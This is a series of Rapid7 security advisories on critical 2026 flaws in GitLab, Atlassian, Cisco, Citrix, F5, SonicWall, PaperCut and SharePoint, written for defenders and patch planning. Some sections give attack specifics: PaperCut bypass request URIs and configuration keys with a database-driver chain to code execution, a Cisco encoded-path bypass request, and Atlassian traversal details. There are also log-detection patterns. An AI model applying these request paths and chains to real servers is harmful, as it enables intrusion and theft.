The crafted regular expression initially compiles in a compact US-ASCII representation and passes GitLab’s regular expression validation. When it is evaluated against a specially formed, valid UTF-8 repository path, Ruby’s Onigmo regular expression engine recompiles it for the new encoding after those checks have completed. An integer overflow in the compiler’s program-size calculation then causes invalid regular expression instructions to be generated. The resulting loss of control-flow integrity can be used to execute attacker-controlled Onigmo VM operations in the Ruby process and run an operating system command as the GitLab git user.

Rapid7 validated the complete chain against the official GitLab 19.4.1 CE Linux amd64 image with address space layout randomization enabled. The same input did not execute against the official patched 19.4.2 CE image. Further root cause and exploit-chain details will be included in a separate Rapid7 technical analysis.

Mitigation guidance

A vendor-provided patch is available to remediate CVE-2026-97229. Organizations running affected self-managed GitLab CE or EE instances should immediately upgrade to a fixed version, without waiting for a regular patch cycle:

Affected GitLab CE/EE versions

Fixed version

All versions from 19.2 before 19.2.8

19.2.8

All versions from 19.3 before 19.3.5

19.3.5

All versions from 19.4 before 19.4.2

19.4.2

GitLab.com has already been updated, and GitLab Dedicated customers do not need to take action. Until affected self-managed instances can be upgraded, restricting anonymous access to public projects and preventing untrusted users from creating or writing to public projects can reduce exposure to the exploit path demonstrated by Rapid7. These controls address only the demonstrated delivery path and do not remediate the vulnerable regular expression compiler.

For the latest mitigation guidance, please refer to GitLab’s security advisory.

Rapid7 customers

Exposure Command, Vulnerability Management, and Nexpose

Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-97229 with an authenticated vulnerability check expected to be available in today’s (October 13) content release.

Updates

  • October 13, 2026: Initial publication.

CVE-2026-21589: Critical unauthenticated arbitrary file access in Atlassian products

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/etr-cve-2026-21589-critical-unauthenticated-arbitrary-file-access-in-atlassian-products

Overview

On October 5, 2026, Atlassian published a security advisory for CVE-2026-21589, a critical arbitrary file access vulnerability affecting eight products: Bitbucket Data Center, Confluence Data Center, Jira Service Management Data Center, Jira Software Data Center, Bamboo Data Center, Crowd Data Center, Crucible, and Fisheye. Atlassian assigned the vulnerability a CVSSv4 score of 9.3. An unauthenticated remote attacker who knows a target file’s exact name and path can access it within the application’s web root; the vulnerability does not provide directory listing or enumeration.

Atlassian’s advisory treats all versions before the applicable fixed releases as affected, including unsupported versions. Affected Atlassian Cloud products have already been patched, and no action is required from Cloud customers.

Detailed technical analysis and file-read proof-of-concept scripts are public, so Rapid7 recommends patching on an emergency basis, outside of normal patch cycles, and reviewing access logs for attempted exploitation.

Technical overview

NVD lists files or directories accessible to external parties (CWE-552) as the weakness associated with CVE-2026-21589.

On October 6, watchTowr Labs published a technical analysis based on comparisons of vulnerable and patched Jira, Confluence, and Bitbucket packages. Their analysis identified a path traversal vulnerability in Atlassian’s web-resource handling: double-colon (::) sequences can become path separators during request processing, allowing traversal components to reach the resource-loading code, resulting in the contents of arbitrary file being read back to an attacker.

Their testing could not traverse outside the Tomcat context, but could read files throughout the application web root. In an Atlassian Crowd deployment that had Jira configured, reading WEB-INF/classes/crowd.properties exposed application credentials. With network access to Crowd, they used those credentials to create a user and add it to jira-administrators; Crowd’s IP allowlisting can block this direct route.

Mitigation guidance

Organizations should upgrade each affected installation to a listed fixed version or the latest available version. Atlassian’s October 5 advisory lists the following fixed versions:

Product

Fixed versions

Bitbucket Data Center

9.4.26, 10.2.8, 10.5.1

Confluence Data Center

9.2.26, 10.2.19

Jira Service Management Data Center

5.12.40, 10.3.26, 11.3.12

Jira Software Data Center

9.12.40, 10.3.26, 11.3.12

Bamboo Data Center

10.2.24, 12.1.12

Crowd Data Center

6.3.7, 7.0.3, 7.1.7, 7.2.4

Crucible

4.9.15

Fisheye

4.9.15

Organizations unable to patch immediately should remove affected instances from the internet or otherwise restrict them from external network access. Atlassian provides a Web Application Firewall or proxy rule for all affected products, a Tomcat RewriteValve mitigation for Confluence, Jira Service Management, Jira Software, Bamboo, and Crowd, and a separate urlrewrite.xml rule for Bitbucket. These mitigations are limited and are not replacements for patching.

Rapid7 strongly recommends looking for signs of compromise even after the patch has been applied. Atlassian recommends URL-decoding each access-log request line up to twice, then searching for .. immediately adjacent to /, \, or ::. Alternatively, search raw logs with the vendor-supplied regex:

(?is).*(?:/|\\|::|%(?:25)*(?:2f|5c)|(?::|%(?:25)*3a){2})(?:\.|%(?:25)*2e){2}(?:/|\\|::|%(?:25)*(?:2f|5c)|(?::|%(?:25)*3a){2}|;|%(?:25)*3b|$).*

Public testing artifacts for Jira, Confluence, and Bitbucket include a Python file-read PoC and a Nuclei template. If investigation identifies access to protected configuration files, organizations should rotate exposed credentials and other secrets after containing the affected systems.

For the latest mitigation and investigation guidance, please refer to the vendor security advisory.

Rapid7 customers

Exposure Command, Vulnerability Management, and Nexpose

Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-21589 with unauthenticated vulnerability checks on Jira Software Data Center expected to be available in the October 8 content release.

Updates

  • October 7, 2026: Initial publication.

Critical Cisco Catalyst SD-WAN Manager API authentication bypass exploited in the wild (CVE-2026-76504)

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/etr-critical-cisco-catalyst-sd-wan-manager-api-authentication-bypass-exploited-in-the-wild-cve-2026-76504

Overview

On September 30, 2026, Cisco published a security advisory for CVE-2026-76504, a critical API authentication bypass vulnerability affecting Cisco Catalyst SD-WAN Manager. The vulnerability has a CVSSv3.1 score of 9.8 and results from improper handling of URL encoding (CWE-177). An unauthenticated, remote attacker can send a crafted HTTP request that bypasses an authentication rule for a specific API endpoint, gaining access to the API with the privileges of the admin user.

According to Cisco, CVE-2026-76504 is being actively exploited in the wild; Cisco PSIRT became aware of the activity in September 2026. Cisco Catalyst SD-WAN Manager systems with ports exposed to the internet are at risk of compromise. The vulnerability affects the product regardless of system configuration, and Cisco has not provided a workaround, however vendor supplied updates are available. Rapid7 strongly recommends that organizations upgrade affected systems to a fixed release on an emergency basis, outside of normal patch cycles, and investigate internet-facing systems for signs of exploitation.

Cisco Catalyst SD-WAN Manager was also affected by two critical, unauthenticated peering authentication flaws earlier in 2026: CVE-2026-20127 and Rapid7-discovered CVE-2026-20182. Both were distinct issues in the vdaemon service and similar parts of its networking stack. CVE-2026-76504 targets a separate API authentication path, but the recurrence of authentication bypasses in internet-facing Catalyst SD-WAN control components reinforces the need for emergency remediation.

Mitigation guidance

Cisco has released software updates that remediate CVE-2026-76504. Organizations running affected instances of Cisco Catalyst SD-WAN Manager should upgrade to an appropriate fixed release listed below without waiting for a regular patch cycle:

Cisco Catalyst SD-WAN Software release

First fixed release

Earlier than 20.9

Migrate to a fixed release

20.9

20.9.10.1

20.12

20.12.8.2

20.15

20.15.6.1

20.18

20.18.4.1

26.1

26.1.2.1

26.2

26.2.1

Cisco has addressed the vulnerability in the cloud-based Cisco SD-WAN Cloud (Cisco Managed) release 20.15.605, and indicates that no customer action is required for that service.

There are no workarounds. As a temporary mitigation, Cisco recommends that on-premises customers prevent access to the system from unsecured networks. If internet access is required, restrict access to known, trusted hosts and protect Cisco Catalyst SD-WAN control components behind a filtering device. Cisco indicates that this mitigation is already deployed in Cisco Catalyst SD-WAN Cloud Hosted environments. Organizations should apply updates even when the mitigation is in place.

Because active exploitation has occurred, Rapid7 strongly recommends that organizations audit affected systems for compromise. For help assessing a potentially compromised system, Cisco customers may open a Severity 3 TAC case with CVE-2026-76504 in the title and provide an admin-tech file generated with the request admin-tech command.

For the latest mitigation guidance and release compatibility information, please refer to the vendor’s security advisory.

Rapid7 customers

Exposure Command, Vulnerability Management, and Nexpose

Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-76504 with vulnerability checks expected to be available in the October 1 content release.

Indicators of compromise

Cisco recommends reviewing the following logs for requests related to j_security_check from unknown or unauthorized IP addresses:

  • /var/log/nms/containers/service-proxy/serviceproxy-access.log: Requests with an encoded character in the j_security_check path, such as POST /%6a_security_check HTTP/1.1.

  • /var/log/nms/vmanage-server.log: Requests to j_security_check associated with usernames beginning with viptela-reserved-.

The %6a value, which URI-encodes the character j, is only an example. According to Cisco, an attacker can exploit the vulnerability by encoding any single character in the request. The vendor cautions that these log entries can also occur during standard operations and should be evaluated against normal network posture to avoid false positives.

Updates

  • September 30, 2026: Initial publication.

Zero-Day Exploitation of Citrix NetScaler ADC and Gateway: CVE-2026-88771 and CVE-2026-88772

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/etr-zero-day-exploitation-of-citrix-netscaler-adc-and-gateway-cve-2026-88771-and-cve-2026-88772

Overview

On September 27, 2026, Citrix disclosed eight new vulnerabilities affecting NetScaler ADC and NetScaler Gateway, including two critical remote code execution (RCE) vulnerabilities: CVE-2026-88771 and CVE-2026-88772. Both of these RCE vulnerabilities carry a critical CVSSv4 score of 9.5, and both have been confirmed as being actively exploited in the wild as zero-days prior to the vendor disclosure. 

CVE-2026-88771 affects vulnerable NetScaler deployments in their default configuration, with no additional product features required. The vendor has also indicated that the attack complexity for exploiting CVE-2026-88771 is low, meaning reliable RCE is likely against all vulnerable NetScaler appliances regardless of their configuration. This is especially concerning due to the prevalence of NetScaler appliances.

CVE-2026-88772 is a memory corruption vulnerability and requires the DTLS feature to be enabled on the appliance. The vendor has indicated that the attack complexity is high, meaning achieving reliable exploitation may be more difficult for an attacker than that of CVE-2026-88771.

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) reports active exploitation is occurring globally, and added both CVE-2026-88771 and CVE-2026-88772 to its Known Exploited Vulnerabilities (KEV) catalog on September 27, 2026. Multiple CERTs worldwide have begun issuing alerts due to the critical nature of this situation.

The following table summarizes all eight vulnerabilities:

CVE

CVSSv4

Vulnerability

Exploitation confirmed

CVE-2026-88771

9.5 (Critical)

Improper input validation leading to RCE in a default configuration (CWE-20)

Yes (CISA)

CVE-2026-88772

9.5 (Critical)

Memory overflow leading to RCE in a DTLS configuration (CWE-119)

Yes (CISA)

CVE-2026-88773

9.3 (Critical)

HTTP request smuggling (CWE-444)

No

CVE-2026-88774

7.0 (High)

Policy bypass involving URL expressions (CWE-16)

No

CVE-2026-88775

8.8 (High)

Memory overflow in Gateway or AAA configuration (CWE-119)

No

CVE-2026-88776

8.8 (High)

Memory overflow in load balancer of type Oracle configuration (CWE-119)

No

CVE-2026-88777

8.8 (High)

Memory overflow in a LB/CS or CGNAT-LSN/NAT64 configuration (CWE-119)

No

CVE-2026-88778

8.8 (High)

Predictable TCP initial sequence numbers (CWE-342)

No

Mitigation guidance

The following vendor-supplied updates are available to remediate all eight vulnerabilities. Rapid7 strongly recommends updating affected NetScaler appliances on an emergency basis, outside of normal patching cycles, and investigating vulnerable appliances for signs of compromise.

  • Citrix NetScaler ADC and Citrix NetScaler Gateway 14.1-73.37 and later releases.

  • Citrix NetScaler ADC and Citrix NetScaler Gateway 13.1-64.23 and later releases of 13.1.

  • Citrix NetScaler ADC 14.1-FIPS 14.1-73.37 FIPS and later releases of 14.1-FIPS.

  • Citrix NetScaler ADC 13.1-FIPS and 13.1-NDcPP 13.1.37.279 and later releases of 13.1-FIPS and 13.1-NDcPP.

For the latest mitigation guidance, please refer to the vendor advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to all the CVEs listed in this blog with authenticated vulnerability checks expected to be available in today’s (September 28) content release.

Intelligence Hub

Customers leveraging Rapid7’s Intelligence Hub can track the latest developments surrounding CVE-2026-88771 and CVE-2026-88772, including indicators of compromise (IOCs).

Updates

  • September 28, 2026: Initial publication.

CVE-2026-94127: Critical Unauthenticated RCE in F5 BIG-IP APM

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/etr-cve-2026-94127-critical-unauthenticated-rce-in-f5-big-ip-apm

Overview

On September 22, 2026, F5 published a security advisory for CVE-2026-94127, a critical heap-based buffer overflow vulnerability affecting F5 BIG-IP Access Policy Manager (APM). The vulnerability has a CVSS v3.1 score of 9.8. An unauthenticated attacker with network access to an affected virtual server may be able to achieve remote code execution (RCE) by sending specifically crafted traffic.

BIG-IP APM provides identity-aware access control for applications and other corporate resources and can integrate with authentication technologies including OAuth, OpenID Connect, and SAML. CVE-2026-94127 is not exposed in a default configuration: exploitation requires a BIG-IP virtual server with both an APM access policy and an OAuth profile configured. Because affected BIG-IP systems may process traffic at an organization’s network edge, organizations using this configuration should prioritize remediation.

The vulnerability affects the data plane and does not expose the BIG-IP control plane. BIG-IP systems operating in Appliance mode are also affected.

F5 lists the following affected release trains and corresponding fixed hotfixes:

  • BIG-IP 21.1.0: versions prior to Hotfix-BIGIP-21.1.0.2.0.30.22-ENG

  • BIG-IP 17.5.0: versions prior to Hotfix-BIGIP-17.5.1.9.0.160.12-ENG

  • BIG-IP 17.1.0: versions prior to Hotfix-BIGIP-17.1.3.5.0.41.14-ENG

As of September 22, 2026, CVE-2026-94127 has been added to the CISA KEV while a publicly available proof of concept was not confirmed.

Mitigation guidance

Organizations running affected F5 BIG-IP deployments should apply the appropriate F5 hotfix as soon as operationally feasible, particularly where a vulnerable APM and OAuth configuration is reachable from untrusted networks.

F5 lists the following remediation versions:

  • BIG-IP 21.1.0: update to Hotfix-BIGIP-21.1.0.2.0.30.22-ENG or later.

  • BIG-IP 17.5.0: update to Hotfix-BIGIP-17.5.1.9.0.160.12-ENG or later.

  • BIG-IP 17.1.0: update to Hotfix-BIGIP-17.1.3.5.0.41.14-ENG or later.

Administrators should first determine whether a BIG-IP APM access policy and an OAuth profile are configured together on a virtual server, since this configuration is required for exposure.

For organizations that cannot immediately apply the applicable update, F5 provides an iRule workaround through F5 Support. Customers should open a support case with F5 to obtain the vendor-provided workaround and follow F5’s implementation guidance.

Rapid7 customers

Exposure Command, Vulnerability Management, and Nexpose

Exposure Command, Vulnerability Management, Nexpose customers can assess exposure to CVE-2026-94127 using vulnerability checks expected to be available in today’s (September 23) content release.

Updates

  • September 22, 2026: Initial publication.

CVE-2026-76461: Critical Cisco Secure Email Gateway Vulnerability Exploited in the Wild

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/etr-cve-2026-76461-critical-cisco-secure-email-gateway-vulnerability-exploited-in-the-wild

Overview

On September 14, 2026, Cisco published a security advisory for CVE-2026-76461, a critical SQL injection vulnerability affecting Cisco AsyncOS Software for Cisco Secure Email Gateway. The vulnerability has a reported CVSS v3.1 base score of 9.8 and could allow an unauthenticated, remote attacker to execute arbitrary commands with root privileges on an affected appliance.

Cisco Secure Email Gateway, formerly known as IronPort Email Security Appliance, is an enterprise email security product that inspects inbound and outbound email for threats including phishing, malware, spam, and business email compromise. Because affected gateways process externally delivered email as part of their normal operation, exploitation does not require access to an administrative interface or authentication. An attacker can reportedly trigger the vulnerability by sending a specially crafted email through a vulnerable gateway.

CVE-2026-76461 was added to CISA’s Known Exploited Vulnerabilities (KEV) catalog on the same day as the vendor disclosed the vulnerability, indicating that CVE-2026-76461 was exploited as a zero-day prior to disclosure. Cisco noted that their PSIRT became aware of active exploitation in September 2026. At the time of publication, there is no public proof-of-concept exploit code available, and no attribution for the current threat actor activity.

Mitigation guidance

Organizations running Cisco Secure Email Gateway should prioritize upgrading to a vendor-supplied fixed version on an emergency basis, outside of normal patching cycles.

Affected Version

Fixed Version

15.5 and earlier

15.5.5-014

16.0

16.0.4-302

16.5

16.5.0-780

Given the reported active exploitation and the ability to achieve unauthenticated root-level command execution through malicious email processing, organizations should prioritize patching rather than relying solely on network controls or monitoring. Cisco also strongly recommends that customers migrate to the latest product version, 16.5.0-780.

For the latest remediation guidance, see the vendor advisory.

Indicators of compromise

The following indicators of compromise for CVE-2026-76461 were reported within the Cisco security advisory.

To confirm any attempted exploitation of this vulnerability, review the mail_logs and look for suspicious SQL statements. If the device is part of a cluster, review the logs of each cluster device. The following is a non-exhaustive example of how a malicious SQL statement could be detected in the logs:

cisco-esa> grep -i “COPY.*TO PROGRAM” [IronPort Text Mail Logs Log name – Default: mail_logs]

The presence of any entry in the output may indicate malicious activity.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-76461 with a vulnerability check expected to be available in the September 16 content release.

Updates

  • September 15, 2026: Initial publication.

CVE-2026-85706: Critical GitLab Path Traversal Exploited in the Wild

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/etr-cve-2026-85706-critical-gitlab-path-traversal-exploited-in-the-wild

Overview

On September 10, 2026, GitLab published a critical patch release for GitLab Community Edition (CE) and Enterprise Edition (EE). The release addresses CVE-2026-85706, a critical path traversal vulnerability (CWE-22) in the repository commits API with a CVSSv3.1 score of 10.0. According to GitLab, improper path confinement and missing authentication enforcement could allow an unauthenticated user to read arbitrary files from an affected GitLab server under certain conditions.

On September 11, 2026, CVE-2026-85706 was added to the U.S. Cybersecurity and Infrastructure Security Agency’s (CISA) Known Exploited Vulnerabilities (KEV) catalog, based on evidence of active exploitation. CISA set a remediation due date of September 14, 2026, for affected Federal Civilian Executive Branch agencies and marked the vulnerability as subject to forensic triage requirements under Binding Operational Directive 26-04.

Organizations running affected self-managed GitLab instances should remediate CVE-2026-85706 on an emergency basis, outside of normal patch cycles.

Mitigation guidance

A vendor-supplied update is available to remediate CVE-2026-85706. Organizations running affected self-managed GitLab CE or EE instances should upgrade to a fixed version immediately.

Affected GitLab CE/EE versions

Fixed version

All versions from 18.7 before 19.1.8

19.1.8

All versions from 19.2 before 19.2.6

19.2.6

All versions from 19.3 before 19.3.2

19.3.2

GitLab.com is already running a patched version, and GitLab Dedicated customers do not need to take action. Per GitLab, all self-managed deployment types are affected, including Omnibus, source code, and Helm chart deployments.

The updates include database migrations. Single-node installations will experience downtime while the migrations run; multi-node deployments can use GitLab’s zero-downtime upgrade procedure. Of the fixed releases, only 19.3.2 includes post-deployment migrations.

The patch release also addresses 17 other vulnerabilities. These include CVE-2026-87719, a critical insecure deserialization vulnerability (CWE-502) in GitLab EE with a CVSSv3.1 score of 9.9. GitLab states that, under certain conditions, an authenticated user with Duo Chat access could obtain Advanced Search instance configurations and sensitive credentials using a specially crafted GraphQL subscription argument. At the time of publication, only CVE-2026-85706 is known to be exploited in the wild.

Given the confirmed exploitation, Rapid7 strongly recommends looking for signs of compromise even after the update has been applied. Organizations subject to CISA’s BOD 26-04 should also follow the forensic triage requirements associated with the KEV entry.

For the latest mitigation guidance, please refer to the vendor’s security advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-85706 with a vulnerability check available in the September 15 content release.

Updates

  • September 14, 2026: Initial publication.

Critical SonicWall SMA1000 Vulnerabilities CVE-2026-83548, CVE-2026-83549 Exploited in the Wild

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/etr-critical-sonicwall-sma1000-vulnerabilities-cve-2026-83548-cve-2026-83549-exploited-in-the-wild

Overview

On September 1, 2026, SonicWall disclosed two vulnerabilities affecting SonicWall SMA1000 appliances that the vendor says are being actively exploited in the wild. The vulnerabilities, CVE-2026-83548 and CVE-2026-83549, can be chained to achieve unauthenticated remote code execution (RCE) on affected appliances.

CVE-2026-83548 is a critical pre-authentication server-side request forgery (SSRF) vulnerability in the SMA1000 Appliance Work Place interface. The flaw has a CVSS v3.1 base score of 10.0 and can allow a remote, unauthenticated attacker to access sensitive functionality and perform unauthorized operations through an unintended alternate access path.

CVE-2026-83549 is a high-severity OS command injection vulnerability in the Appliance Management Console (AMC). On its own, exploitation requires an authenticated administrator and specific system conditions. Although, by leveraging the SSRF vulnerability CVE-2026-83548 an attacker could potentially exploit CVE-2026-83549 to execute arbitrary OS commands without prior authentication.

SonicWall SMA1000 appliances are enterprise secure remote access gateways used to provide employees and other authorized users with access to internal applications and resources. Their role as network-edge systems makes successful exploitation particularly concerning, since affected Work Place interfaces may be exposed directly to the internet as part of normal deployment.

SonicWall has confirmed active exploitation of both vulnerabilities. No public proof-of-concept exploit, indicators of compromise (IOCs), or attribution for the current activity were identified in the research available at the time of publication.

The vulnerabilities affect SMA1000 Models – 6210, 7210, 8200v running the following versions:

Vulnerable Versions

Fixed Versions

12.4.3-03453 platform-hotfix and earlier

12.4.3-03526 (platform-hotfix) and higher versions

12.5.0-02835 platform-hotfix and earlier

12.5.0-02952 (platform-hotfix) and higher versions.

Mitigation guidance

Organizations operating affected SonicWall SMA1000 appliances should prioritize applying SonicWall’s updated platform hotfixes immediately. Because exploitation was occurring before public disclosure, organizations should not rely solely on patching to determine whether an appliance has already been compromised.

SonicWall recommends upgrading affected appliances to:

  • 12.4.3-03526 platform-hotfix, for systems on the 12.4.3 branch

  • 12.5.0-02952 platform-hotfix, for systems on the 12.5.0 branch

Affected Product/Component:

  • SonicWall SMA1000 Appliance Work Place and Appliance Management Console

  • Version 12.4.3-03453 platform-hotfix and earlier are affected.

  • Version 12.5.0-02835 platform-hotfix and earlier are affected.

SonicWall additionally recommends that customers contact SonicWall Technical Support for assistance reviewing appliances for indicators of compromise.

If evidence of compromise is identified, SonicWall recommends:

  • Re-imaging affected hardware appliances or re-deploying affected virtual appliances.

  • Changing all user and administrator passwords.

  • Resetting Time-based One-Time Password (TOTP) tokens.

Given the confirmed exploitation of these vulnerabilities, organizations should treat potentially exposed appliances running vulnerable software as a priority for investigation as well as remediation.

Please read the SonicWall security advisory for the latest vendor guidance.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-83548 and CVE-2026-83549 in the SMA1000 Appliance series with vulnerability checks expected to be available in the September 3rd content release.

Updates

  • September 2, 2026: Initial publication.

PaperCut NG/MF Critical Zero-Day Exploited in the Wild

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/etr-papercut-ng-mf-critical-zero-day-exploited-in-the-wild

Overview

On August 27, 2026, PaperCut Software published an urgent security advisory stating that it is investigating active exploitation of a vulnerability affecting PaperCut NG and PaperCut MF. PaperCut has confirmed customer incidents and is treating the issue as a security emergency. At the time of writing, the vulnerability has not been assigned a CVE identifier, and PaperCut has not publicly disclosed a CVSS score, vulnerability class, authentication requirements, or the technical details of the exploit path.

PaperCut NG and PaperCut MF are print management platforms commonly deployed within enterprise, education, and other organizational environments. Because the PaperCut Application Server provides web-accessible administrative and application functionality, organizations with servers exposed to the public internet should prioritize remediation and access restriction.

PaperCut stated in its advisory that information supplied by a university customer’s security team and digital forensics and incident response team enabled its security response team to reproduce the vulnerability in PaperCut NG and PaperCut MF. On August 28, 2026 at 02:10 AEST, PaperCut released emergency patches for PaperCut NG and PaperCut MF versions 25 and 26.

PaperCut has been targeted in the past; in 2023, CVE-2023-27350 was broadly exploited in the wild by multiple threat-actor groups, including ransomware operators. This prior history increases the urgency organizations should address this new zero-day with.

PaperCut currently considers all versions of PaperCut NG and PaperCut MF potentially impacted. Customers operating internet-accessible PaperCut Application Servers should take immediate action even if no suspicious activity has been observed.

Technical overview

The vulnerability is an authentication bypass that lets attackers invoke privileged PaperCut components. This can be leveraged to reconfigure an external database lookup. When this lookup is triggered, malicious SQL can be executed, resulting in remote code execution.

PaperCut uses the Apache Tapestry framework, whose “complex direct” request format can identify one page to display and a different page containing the component to execute. PaperCut validates access only to the displayed page. By selecting either the public Error page or Exception page for display, an attacker can bypass authentication while invoking administrative components belonging to ConfigEditor or UserList.

The attack uses HTTP POST requests to the following URIs (Note that the path segment with the value 1 shown below can be any value for this path segment, and the Error path segment may also be the Exception path segment):

/app?service=direct/1/Error/ConfigEditor/quickFindForm
/app?service=direct/1/Error/ConfigEditor/$Form
/app?service=direct/1/Error/UserList/$QuickFind.$Form

The first two URIs provide unauthenticated access to PaperCut’s configuration editor. The third can invoke a user or card search that triggers the configured external database lookup.

An attacker first uses the ConfigEditor requests to modify four external user-lookup settings:

user-lookup.db-driver
user-lookup.db-url
user-lookup.id-to-username-sql
user-lookup.enabled

These settings normally allow administrators to connect PaperCut to an external card database. After bypassing authentication, however, the attacker can configure them with a malicious JDBC connection and a malicious SQL statement.

By leveraging PaperCut’s bundled Apache Derby database driver and supplying a Derby CALL statement that activates its foreignViews feature, Derby opens an attacker-controlled H2 JDBC URL. H2 processes an inline INIT statement that creates a JavaScript-backed database trigger. PaperCut includes the Nashorn JavaScript engine, allowing that trigger to start an operating-system process. However it is expected that other mechanisms to execute an arbitrary command can also be used instead of Nashorn. Finally, the attacker submits a search through the forged UserList request. This activates the external lookup and executes the malicious SQL.

Mitigation guidance

Organizations running PaperCut NG or PaperCut MF should prioritize patching on an emergency basis, particularly where the PaperCut Application Server is accessible from the public internet.

PaperCut has released emergency patches for PaperCut NG and PaperCut MF versions 25 and 26. 

The vendor notes that these builds have not undergone their normal release process and are intended as emergency fixes for customers with public-facing servers that cannot otherwise sufficiently mitigate exposure. An emergency patch for version 24 is still in development at the time of the vendor’s latest update.

PaperCut recommends that administrators immediately restrict web access to trusted IP addresses only, such as internal corporate network ranges. Firewall rules, network access controls, reverse-proxy restrictions, or equivalent measures should be used to prevent untrusted internet hosts from reaching PaperCut web interfaces.

Please read the PaperCut security advisory for the latest remediation guidance, updated indicators of compromise, and additional release information.

Artifacts/Evidence Sources and IOCs

For detection and forensic analysis, PaperCut has identified several preliminary artifacts and evidence sources that may indicate compromise.

  • Application activity: Alerts from intrusion-detection, endpoint-security, or network-monitoring products involving the PaperCut Application Server, particularly suspicious post-exploitation activity associated with pc-app.exe.

  • Log integrity: Missing, unexpectedly truncated, or deleted PaperCut server.log files.

  • PaperCut server.log entries:

    • ERROR No suitable driver found for jdbc:no:x

    • ERROR DatabaseUtils – Database error looking up cardID: VALUES CAST

PaperCut has not yet published validated network-based indicators such as malicious IP addresses, domains, or URLs.

The vendor specifically warns that the absence of these indicators should not be interpreted as evidence that a system has not been affected.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to this new PaperCut zero-day, with an authenticated vulnerability check expected to be available in the August 28 (today’s) content release.

Updates

  • August 28, 2026: Initial publication.

CVE-2026-19490: Critical Vulnerability Affecting Citrix NetScaler ADC and NetScaler Gateway

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/etr-cve-2026-19490-critical-vulnerability-affecting-citrix-netscaler-adc-and-netscaler-gateway

Overview

On August 19, 2026, a security advisory was published for CVE-2026-19490, a critical authentication bypass vulnerability affecting Citrix NetScaler ADC and NetScaler Gateway. The vulnerability carries a CVSS v4.0 base score of 9.3 and can be exploited remotely by an unauthenticated attacker over the network without user interaction or elevated privileges.

NetScaler ADC and NetScaler Gateway are widely deployed enterprise networking products commonly positioned at or near the network perimeter. NetScaler ADC provides application delivery, traffic management, load balancing, SSL/TLS offloading, and application security capabilities, while NetScaler Gateway provides secure remote access and VPN functionality. Because these systems are frequently deployed in enterprise DMZs and exposed to the public internet, authentication bypass vulnerabilities affecting Citrix products are nearly always exploited by threat actors.

CVE-2026-19490 affects the following systems:

  • NetScaler ADC and NetScaler Gateway 14.1: Versions prior to 14.1-73.32

  • NetScaler ADC and NetScaler Gateway 13.1: Versions prior to 13.1-63.21

  • NetScaler ADC FIPS: Versions prior to 14.1-73.32 FIPS

  • NetScaler ADC FIPS and NDcPP: Versions prior to 13.1-37.277

As of August 19, 2026, Rapid7 has not observed evidence that CVE-2026-19490 is being exploited in the wild. However, organizations should prioritize patching affected systems on an emergency basis, since Citrix products are high-value targets that tend to quickly see exploitation in the wild.

Mitigation guidance

Organizations running affected NetScaler ADC or NetScaler Gateway appliances should review the official NetScaler advisory and apply the required updates to affected systems on an emergency basis.

Fixed versions for affected products are listed below:

  • NetScaler ADC and NetScaler Gateway 14.1-73.32 and later releases

  • NetScaler ADC and NetScaler Gateway 13.1-63.21 and later releases of 13.1

  • NetScaler ADC 14.1-FIPS 14.1-73.32 FIPS and later releases of 14.1-FIPS

  • NetScaler ADC 13.1-FIPS and 13.1-NDcPP 13.1-37.277 and later releases of 13.1-FIPS and 13.1-NDcPP

According to Citrix, customers can determine whether affected systems are vulnerable to CVE-2026-19490 by inspecting their NetScaler configuration for the following configuration entries. If one or more of the following items are present, and if the systems are running affected versions, the system is likely to be exploitable:

  • SAML action configuration is in place:

    • “add authentication samlAction.*”

  • Auth or VPN vserver is configured:

    •  “add authentication vserver .*”

    •  “add vpn vserver .*”

For the latest guidance, please refer to the official Citrix advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Customers can assess exposure to CVE-2026-19490 on Citrix NetScaler ADC and Gateway using a vulnerability check expected to be available in the August 20 content release.

Updates

  • August 19, 2026: Initial publication.

Rapid7 Analysis: Microsoft SharePoint JWT Token Authentication Bypass (CVE-2026-55040)

Post Syndicated from Stephen Fewer original https://www.rapid7.com/blog/post/ra-microsoft-sharepoint-jwt-token-authentication-bypass-cve-2026-55040

Overview

On July 14, 2026, Rapid7 and Microsoft disclosed CVE-2026-55040, an authentication bypass vulnerability affecting Microsoft SharePoint. Today we are publishing a technical analysis of the vulnerability along with an accompanying proof-of-concept (PoC) script.

CVE-2026-55040.png

Figure 1: The Rapid7 Labs PoC for CVE-2026-55040.

⠀

A remote unauthenticated attacker can leverage CVE-2026-55040 to bypass authentication on a vulnerable SharePoint server, and perform operations as a SharePoint site user or administrator. The vulnerability is due to several issues in the JWT token validation pipeline.

Analysis

The following technical analysis is based upon SharePoint Server Subscription Edition version 16.0.19725.20210.

A critical authentication bypass vulnerability exists in SharePoint Server Subscription Edition’s JWT token validation pipeline. The root cause is a chain of four distinct weaknesses that, when combined, allow an unauthenticated remote attacker to forge a valid JWT and impersonate any SharePoint site user.

The below analysis is based upon decompilation and code review of the Microsoft.SharePoint.IdentityModel module from a fully patched SharePoint Server Subscription Edition instance. The vulnerability resides in the SPJsonWebSecurityTokenHandlerV2 class and its base class SPJsonWebSecurityBaseTokenHandlerV2, which together implement the token parsing and validation logic for Bearer service-to-service (S2S) tokens.

